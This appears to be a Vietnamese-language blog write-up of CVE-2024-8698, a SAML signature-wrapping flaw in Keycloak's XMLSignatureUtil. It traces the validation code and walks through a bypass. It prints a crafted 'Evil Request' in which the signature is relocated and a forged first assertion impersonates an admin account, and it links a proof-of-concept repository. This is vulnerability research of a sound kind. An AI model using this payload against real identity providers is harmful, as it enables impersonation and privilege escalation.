Analyst CVE-2024-8698 on KeyCloak
Summary :
A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
Patch Analyst:
Patch cho lỗ hổng nằm ở commit : https://github.com/keycloak/keycloak/commit/ae6a686870b57182c0635ae60f0fe81d57cf15e3
Đọc miêu tả và commit có thể thấy lỗ hổng nằm tại hàm validate của class XMLSignatureUtil , hàm này xác định sai giữa signature của toàn bộ document với signature của assertion dẫn đến kẻ tấn công có thể thực hiện leo quyền
Set Up & Debug :
Download https://github.com/keycloak/keycloak/releases/download/25.0.5/keycloak-25.0.5.zip
Giải nén file , rồi chạy command sau :
.\bin\kc.bat start-dev --debug 8989
Tiếp theo , import lib của keycloak vào Idea rồi chạy remote debug với port là 8989
\=> Hoàn tất set up debug
KeyCloak Basic :
Keycloak là một Open Source Identity Provider và Access Management cho Modern Applications và Services. Dùng để quản lý nhận dạng và truy cập vào các ứng dụng/ dịch vụ. Nó có chức năng làm một Single Sign-On (SSO) services cho nhiều ứng dụng , Keycloak cũng hỗ trợ các protocol như OAuth 2.0 , OpenID và SAML 2.0
Với SAML 2.0 Flow cơ bản như sau :
User A muốn đăng nhập vào ứng dụng gitlab (service provider) , để đăng nhập vào user A phải đăng nhập qua keycloak (identity provider) . đăng nhập thành công , keycloak sẽ gửi saml response đến gitlab , gitlab verify saml response , Thành công sẽ cho phép user sử dụng ứng dụng
Sau khi trace từ các hàm thấy điểm source nằm ở class :
org.keycloak.broker.saml.SAMLEndpoint
Class này sử dụng cho identity broker . Identity broker là gì ?
Identity Broker là một dịch vụ cho phép người dùng sử dụng thông tin đăng nhập từ một nhà cung cấp danh tính bên ngoài để truy cập vào các ứng dụng và dịch vụ khác.
Đơn giản có thể hiểu là identity broker là dịch vụ cho phép bạn đăng nhập vào keycloak của bạn bằng 1 idp khác ( ví dụ : facebook , google, … )
Đến đây set up thêm 1 identity provider nữa để sử dụng tính năng broker của keycloak , ở đây tôi sử dụng wordpress và dùng plug-in Wordpress IDP để biến wordpress thành một identity provider
Code Analyst:
Response sẽ được xử lý tại hàm handleSamlResponse:
Tiếp tục trace
→ SamlProtocolUtils.verifyDocumentSignature → SAML2Signature.validate → XMLSignatureUtil.validate
Logic của hàm này như sau :
Đâu tiên , nó lấy tất cả các signature elements , rồi lặp qua từng nút với mỗi nút nó sẽ check nếu nút hiện tại thuộc nút cha là assertion thì sẽ thực hiện tăng biến đếm signedAssertions , tiếp theo với mỗi node lặp qua nó sẽ chạy qua hàm validateSingleNode()
Logic của hàm validateSigleNode đơn giản là nó thực hiện validate cái signature node này . Quay trở lại với hàm validate , sau khi vòng lặp kết thúc nó sẽ chuyển tiếp đến điều kiện rằng nếu số lượng node assertions có signature khác với số lượng tổng thể nút assertion thì sẽ trả về false ( detect có malicious assertion ) .
Sau khi validate thành công sẽ nhảy đến hàm handleloginResponse
Đặt breakpoint tại đầu hàm , nhảy thẳng tới line 624 :
hàm này sẽ thực hiện set attribute cho các thuộc tính dựa vào response nhận được nếu thỏa mãn cả 3 điều kiện sau đều false :
Điều kiện 1: Nếu config yêu cầu WantAssertionsSigned được đặt là true ( mặc định là false) và biến signed = false
Điều kiện 2 : Nếu biến signed = true , config validate signature được bật ( mặc định ) và hàm AssertionUtil.isSignatureValid() trả về false
Điều kiện 3: biến signed = false , config validate signature được bật ( mặc định ) và hàm containsUnencryptedSignature() ( hàm này check xem response document có chứa element signature hay không) trả về false
Biến signed trả về true nếu assertion có chứa signature ngược lại sẽ trả về false.
Đến đây sau khi thỏa mãn điều kiện sẽ set attribute theo assertion đầu tiên :
Vậy flow chương trình có thể mô tả đơn giản như sau :
Bước 1: Chương trình nhận SAMLResponse từ broker
Bước 2: Validate xem các chữ ký xuất hiện trong document có hợp lệ hay không
Bước 3: Check 3 điều kiện : assertionSignatureNotExistsWhenRequired , signatureNotValid , hasNoSignatureWhenRequired . Nếu 3 điều kiện này đều false thì sẽ thực hiện lấy assertion xuất hiện đầu tiên
validate
Lỗ hổng xuất hiện giữa logic tại hàm validate, hàm XMLSignatureUtil.validate()
thực hiện validate tất cả các signature trong response document , các signature được đưa vào hàm XMLSignatureUtil.validateUsingKeySelector()
rồi các signature này được validate , Quá trình validate được define tại phần 3.2 https://www.w3.org/TR/xmldsig-core1/#sec-CoreValidation
Quá trình validate gồm 2 phần . Phần 1 là verify giá trị SignatureValue bằng publickey , phần 2 là verify giá trị Reference chính là verify giá trị digestValue
Ví dụ :
<?xml version="1.0" encoding="utf-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="addf4d01a0076b2fa36278805129ac8e5a46d04c9" Version="2.0" IssueInstant="2024-10-10T08:53:59Z" Destination="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="a11a434527ab2de06ea8262a23e93166710c88f65" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
<saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#a11a434527ab2de06ea8262a23e93166710c88f65">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>OrrB2CQGFegn8NFOmsGJjv1wUPIKd+3OvJoX8PMUtlw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>wY8pHpcQaHJwodifZG0Qx4gmYYOOXiGGHohXFDiPGK9WQY3dOWXD2IQOu14LouFN7jnKvgqdFU5q93Hd8ae67KPoVCJkZvQ3E3WlS1T66CHGhvE4UT6oS3BCRKcB2FMvUBbngPiI6f2H/wGKGAQ6KMqEx9i4+GWRjFTyAIYUxJXcYTGv/JILyLEkotx1crdSpRZLSyOkyFBkPj3TvyQfqRp21Li042tVzb2+H0Nj1nQek5KznqDKrOdLr0Du+INWj3mcpQNIuEzJthvdwYmQ0aDi0JZOuyjUbH/pYVQcmi2vHASBBi815k9TOZ1zrYOuDDBK2cqnoSpg5VPVjdiGZw==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIElTCCA32gAwIBAgIUG9ZkPUYwnNJ9yXXYBrtasp/99HowDQYJKoZIhvcNAQELBQAwgbMxFzAVBgNVBAMMDm1pbmlvcmFuZ2UuY29tMRUwEwYDVQQDDAx4ZWN1cmlmeS5jb20xCzAJBgNVBAYTAlVTMRAwDgYDVQQIDAdXeW9taW5nMREwDwYDVQQHDAhDaGV5ZW5uZTEtMCsGA1UECgwkbWluaU9yYW5nZSBTZWN1cml0eSBTb2Z0d2FyZSBQdnQgTHRkMSAwHgYJKoZIhvcNAQkBFhFpbmZvQHhlY3VyaWZ5LmNvbTAeFw0yMzExMjQxMDM4MTNaFw0yNTAxMTcxMDM4MTNaMIGzMRcwFQYDVQQDDA5taW5pb3JhbmdlLmNvbTEVMBMGA1UEAwwMeGVjdXJpZnkuY29tMQswCQYDVQQGEwJVUzEQMA4GA1UECAwHV3lvbWluZzERMA8GA1UEBwwIQ2hleWVubmUxLTArBgNVBAoMJG1pbmlPcmFuZ2UgU2VjdXJpdHkgU29mdHdhcmUgUHZ0IEx0ZDEgMB4GCSqGSIb3DQEJARYRaW5mb0B4ZWN1cmlmeS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeT2P3tJpOYcjbrXt6xRnxwbFD1GouFM8nMbkEyGxjEP2OHNHhbXI0hSXaOgbpUBW9sGTPPWNGK3avDclvK6pQIMeyk272DIq+IG0aFN8PrlxpPQQClxwdpt0YWDBpWO31dFsTuUukUWlQwbzu3Z/2DN7b8R9KKPhDlb3RYKTznD9zPU5nrpG4qtNbMAjPCOrgmjMEByRsnHnAWupNE15bzSDF0YISl6LGgpDe+MQo2VpyZyxH/NUEs4LvDAiM0AZwawe2FzyPVm3Z/SIp7Eer5L3F4OfHZ89J6Dm3DYH4WtnhqN74bU/OWGyNZ+kbFRoo6Gr9ZvHbHWl9w8HZIcgbAgMBAAGjgZ4wgZswHQYDVR0OBBYEFB7iZs2DOlek7jPH5YrEGOTjujWmMB8GA1UdIwQYMBaAFB7iZs2DOlek7jPH5YrEGOTjujWmMA4GA1UdDwEB/wQEAwIFoDAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwJwYDVR0RBCAwHoIObWluaW9yYW5nZS5jb22CDHhlY3VyaWZ5LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAm6v4wqLtMS1myybOiBLt79hJvJPumVnWthKFWGO2/mDMXMBS1X8dVK8h2Yn220xq8DTbIDxJW019iOmA7uEpdHNjyqtiRUTsEcBBdeRcSu1qS6IHtzlPdhFBWjbKx8u7Skv17ILhz5oW8yCjttueVvwVin0WUwQRM4Qn63QspmzK9K57w6AHzSs8z3eo9kUCgsd90VePGloZG0ZZ3WVnA3L1v6wS5dbbe6nF4Q7sji/y8+mzFmDBmn2FSFk755R+pV/1SXporU9S8f/t1goP3VPw0up6dQefRuHWZjjq1qaV4v5yLUhz/dsQ8dhuERRrHaJ41Ftq8DL363kbDZ48qg==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@abc.co</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
<saml:AudienceRestriction>
<saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>
Quá trình verify chữ kí thì đầu tiên sẽ tìm kiếm dữ liệu được ký chính là dữ liệu được tham chiếu bởi URI của Reference ở đây là phần tử có ID : a11a434527ab2de06ea8262a23e93166710c88f65 , tiếp theo dữ liệu sẽ qua các bước transform rồi được hash = sha256 , giá trị này sẽ được so sánh với giá trị hash lấy được sau khi giải mã signaturevalue với publickey
Quá trình verify Reference cũng lấy giá trị từ URI của Reference trong Keyinfo và so sánh 2 giá trị hash sha256
Đến đây , nếu như tạo thêm 1 Signature y hệt cho toàn bộ response . Đoạn code trên sẽ không thể nào xác định được Signature này là của response hay của assertion , vẫn validate bằng dữ liệu được lấy từ URI => dẫn đến bypass phần validate này.
Điều kiện tiếp theo để pass hàm validate :
Ứng dụng thực hiện check xem rằng số assertions được kí có bằng số assertion có trong document hay không
Điều kiện này có thể bypass bằng 2 cách , cách 1 là không cho assertion nào được ký , cách 2 là tự tạo 1 assertion giả mạo và tự ký . Đương nhiên cách thứ 2 là không thể vì không có khóa riêng . Cách thứ 1 thì thực hiện được bằng cách bỏ đi tất cả chữ ký phần assertion .
HandleLoginResponse
Tiếp tục follow đến hàm HandleLoginResponse , ở đây có 3 điều kiện ta cần pass để có thể thực hiện bypass toàn bộ
Đầu tiên signed được gán giá trị là giá trị trả về của hàm AssertionUtil.isSignedElement()
Hàm này , hàm này tìm kiếm trong assertion hiện tại xem có chứa element Signature hay không . Với flow hiện tại ta đã bỏ hết signature tại assertion nên signed = False .
Điều kiện 1 : SAMLEndpoint.this.config.isWantAssertionsSigned() mặc định là False nên điều kiện 2 luôn false
Điều kiện 2: signed hiện tại là false , nên cả biểu thức sẽ false (AND trong bitwise 1 cái false thì sẽ false )
Điều kiện 3 : 2 cái đầu sẽ là true , hàm containsUnencryptedSignature()
sẽ check xem cả document có chứa signature không , theo flow thì ta để signature từ assertion xuống response nên hàm này sẽ trả về true => điều kiện 3 cũng sẽ false
Tiếp theo sau khi pass điều kiện trên , ứng dụng sẽ lấy assertion đầu tiên và gán thuộc tính theo assertion đó
Vậy ý tưởng bypass sẽ như sau :
Đầu tiên , cần một tài khoản level thấp , intercept để lấy SAMLResponse trong request , drop request đó
Bước 2 : Đưa phần signature của assertion đó xuống phần response , xóa signature của assertion đó , rồi thực hiện copy phần assertion , tạo 1 assertion mới bên trên và thay đổi thành email admin
Bước 3: Gửi lại saml request
Ví dụ :
Original SamlResponse:
<?xml version="1.0" encoding="utf-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="addf4d01a0076b2fa36278805129ac8e5a46d04c9" Version="2.0" IssueInstant="2024-10-10T08:53:59Z" Destination="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="a11a434527ab2de06ea8262a23e93166710c88f65" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
<saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#a11a434527ab2de06ea8262a23e93166710c88f65">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>OrrB2CQGFegn8NFOmsGJjv1wUPIKd+3OvJoX8PMUtlw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>wY8pHpcQaHJwodifZG0Qx4gmYYOOXiGGHohXFDiPGK9WQY3dOWXD2IQOu14LouFN7jnKvgqdFU5q93Hd8ae67KPoVCJkZvQ3E3WlS1T66CHGhvE4UT6oS3BCRKcB2FMvUBbngPiI6f2H/wGKGAQ6KMqEx9i4+GWRjFTyAIYUxJXcYTGv/JILyLEkotx1crdSpRZLSyOkyFBkPj3TvyQfqRp21Li042tVzb2+H0Nj1nQek5KznqDKrOdLr0Du+INWj3mcpQNIuEzJthvdwYmQ0aDi0JZOuyjUbH/pYVQcmi2vHASBBi815k9TOZ1zrYOuDDBK2cqnoSpg5VPVjdiGZw==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIElTCCA32gAwIBAgIUG9ZkPUYwnNJ9yXXYBrtasp/99HowDQYJKoZIhvcNAQELBQAwgbMxFzAVBgNVBAMMDm1pbmlvcmFuZ2UuY29tMRUwEwYDVQQDDAx4ZWN1cmlmeS5jb20xCzAJBgNVBAYTAlVTMRAwDgYDVQQIDAdXeW9taW5nMREwDwYDVQQHDAhDaGV5ZW5uZTEtMCsGA1UECgwkbWluaU9yYW5nZSBTZWN1cml0eSBTb2Z0d2FyZSBQdnQgTHRkMSAwHgYJKoZIhvcNAQkBFhFpbmZvQHhlY3VyaWZ5LmNvbTAeFw0yMzExMjQxMDM4MTNaFw0yNTAxMTcxMDM4MTNaMIGzMRcwFQYDVQQDDA5taW5pb3JhbmdlLmNvbTEVMBMGA1UEAwwMeGVjdXJpZnkuY29tMQswCQYDVQQGEwJVUzEQMA4GA1UECAwHV3lvbWluZzERMA8GA1UEBwwIQ2hleWVubmUxLTArBgNVBAoMJG1pbmlPcmFuZ2UgU2VjdXJpdHkgU29mdHdhcmUgUHZ0IEx0ZDEgMB4GCSqGSIb3DQEJARYRaW5mb0B4ZWN1cmlmeS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeT2P3tJpOYcjbrXt6xRnxwbFD1GouFM8nMbkEyGxjEP2OHNHhbXI0hSXaOgbpUBW9sGTPPWNGK3avDclvK6pQIMeyk272DIq+IG0aFN8PrlxpPQQClxwdpt0YWDBpWO31dFsTuUukUWlQwbzu3Z/2DN7b8R9KKPhDlb3RYKTznD9zPU5nrpG4qtNbMAjPCOrgmjMEByRsnHnAWupNE15bzSDF0YISl6LGgpDe+MQo2VpyZyxH/NUEs4LvDAiM0AZwawe2FzyPVm3Z/SIp7Eer5L3F4OfHZ89J6Dm3DYH4WtnhqN74bU/OWGyNZ+kbFRoo6Gr9ZvHbHWl9w8HZIcgbAgMBAAGjgZ4wgZswHQYDVR0OBBYEFB7iZs2DOlek7jPH5YrEGOTjujWmMB8GA1UdIwQYMBaAFB7iZs2DOlek7jPH5YrEGOTjujWmMA4GA1UdDwEB/wQEAwIFoDAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwJwYDVR0RBCAwHoIObWluaW9yYW5nZS5jb22CDHhlY3VyaWZ5LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAm6v4wqLtMS1myybOiBLt79hJvJPumVnWthKFWGO2/mDMXMBS1X8dVK8h2Yn220xq8DTbIDxJW019iOmA7uEpdHNjyqtiRUTsEcBBdeRcSu1qS6IHtzlPdhFBWjbKx8u7Skv17ILhz5oW8yCjttueVvwVin0WUwQRM4Qn63QspmzK9K57w6AHzSs8z3eo9kUCgsd90VePGloZG0ZZ3WVnA3L1v6wS5dbbe6nF4Q7sji/y8+mzFmDBmn2FSFk755R+pV/1SXporU9S8f/t1goP3VPw0up6dQefRuHWZjjq1qaV4v5yLUhz/dsQ8dhuERRrHaJ41Ftq8DL363kbDZ48qg==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test@abc.co</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
<saml:AudienceRestriction>
<saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>
Evil Request
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" ID="addf4d01a0076b2fa36278805129ac8e5a46d04c9" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_lpe" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
<saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@abc.co</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141" NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
<saml:AudienceRestriction>
<saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="a11a434527ab2de06ea8262a23e93166710c88f65" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
<saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test@abc.co</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141" NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
<saml:AudienceRestriction>
<saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#a11a434527ab2de06ea8262a23e93166710c88f65">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>OrrB2CQGFegn8NFOmsGJjv1wUPIKd+3OvJoX8PMUtlw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>wY8pHpcQaHJwodifZG0Qx4gmYYOOXiGGHohXFDiPGK9WQY3dOWXD2IQOu14LouFN7jnKvgqdFU5q93Hd8ae67KPoVCJkZvQ3E3WlS1T66CHGhvE4UT6oS3BCRKcB2FMvUBbngPiI6f2H/wGKGAQ6KMqEx9i4+GWRjFTyAIYUxJXcYTGv/JILyLEkotx1crdSpRZLSyOkyFBkPj3TvyQfqRp21Li042tVzb2+H0Nj1nQek5KznqDKrOdLr0Du+INWj3mcpQNIuEzJthvdwYmQ0aDi0JZOuyjUbH/pYVQcmi2vHASBBi815k9TOZ1zrYOuDDBK2cqnoSpg5VPVjdiGZw==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIElTCCA32gAwIBAgIUG9ZkPUYwnNJ9yXXYBrtasp/99HowDQYJKoZIhvcNAQELBQAwgbMxFzAVBgNVBAMMDm1pbmlvcmFuZ2UuY29tMRUwEwYDVQQDDAx4ZWN1cmlmeS5jb20xCzAJBgNVBAYTAlVTMRAwDgYDVQQIDAdXeW9taW5nMREwDwYDVQQHDAhDaGV5ZW5uZTEtMCsGA1UECgwkbWluaU9yYW5nZSBTZWN1cml0eSBTb2Z0d2FyZSBQdnQgTHRkMSAwHgYJKoZIhvcNAQkBFhFpbmZvQHhlY3VyaWZ5LmNvbTAeFw0yMzExMjQxMDM4MTNaFw0yNTAxMTcxMDM4MTNaMIGzMRcwFQYDVQQDDA5taW5pb3JhbmdlLmNvbTEVMBMGA1UEAwwMeGVjdXJpZnkuY29tMQswCQYDVQQGEwJVUzEQMA4GA1UECAwHV3lvbWluZzERMA8GA1UEBwwIQ2hleWVubmUxLTArBgNVBAoMJG1pbmlPcmFuZ2UgU2VjdXJpdHkgU29mdHdhcmUgUHZ0IEx0ZDEgMB4GCSqGSIb3DQEJARYRaW5mb0B4ZWN1cmlmeS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeT2P3tJpOYcjbrXt6xRnxwbFD1GouFM8nMbkEyGxjEP2OHNHhbXI0hSXaOgbpUBW9sGTPPWNGK3avDclvK6pQIMeyk272DIq+IG0aFN8PrlxpPQQClxwdpt0YWDBpWO31dFsTuUukUWlQwbzu3Z/2DN7b8R9KKPhDlb3RYKTznD9zPU5nrpG4qtNbMAjPCOrgmjMEByRsnHnAWupNE15bzSDF0YISl6LGgpDe+MQo2VpyZyxH/NUEs4LvDAiM0AZwawe2FzyPVm3Z/SIp7Eer5L3F4OfHZ89J6Dm3DYH4WtnhqN74bU/OWGyNZ+kbFRoo6Gr9ZvHbHWl9w8HZIcgbAgMBAAGjgZ4wgZswHQYDVR0OBBYEFB7iZs2DOlek7jPH5YrEGOTjujWmMB8GA1UdIwQYMBaAFB7iZs2DOlek7jPH5YrEGOTjujWmMA4GA1UdDwEB/wQEAwIFoDAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwJwYDVR0RBCAwHoIObWluaW9yYW5nZS5jb22CDHhlY3VyaWZ5LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAm6v4wqLtMS1myybOiBLt79hJvJPumVnWthKFWGO2/mDMXMBS1X8dVK8h2Yn220xq8DTbIDxJW019iOmA7uEpdHNjyqtiRUTsEcBBdeRcSu1qS6IHtzlPdhFBWjbKx8u7Skv17ILhz5oW8yCjttueVvwVin0WUwQRM4Qn63QspmzK9K57w6AHzSs8z3eo9kUCgsd90VePGloZG0ZZ3WVnA3L1v6wS5dbbe6nF4Q7sji/y8+mzFmDBmn2FSFk755R+pV/1SXporU9S8f/t1goP3VPw0up6dQefRuHWZjjq1qaV4v5yLUhz/dsQ8dhuERRrHaJ41Ftq8DL363kbDZ48qg==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
</samlp:Response>
POC
https://github.com/huydoppaz/CVE-2024-8698-POC
Reference
https://viblo.asia/p/saml-hacking-phan-2-xml-signatures-38X4EPGgVN2
https://www.w3.org/TR/xmldsig-core1/#sec-CoreValidation
https://github.com/keycloak/keycloak/issues/33116
https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
Subscribe to my newsletter
Read articles from doppa directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
doppa
doppa
noob 101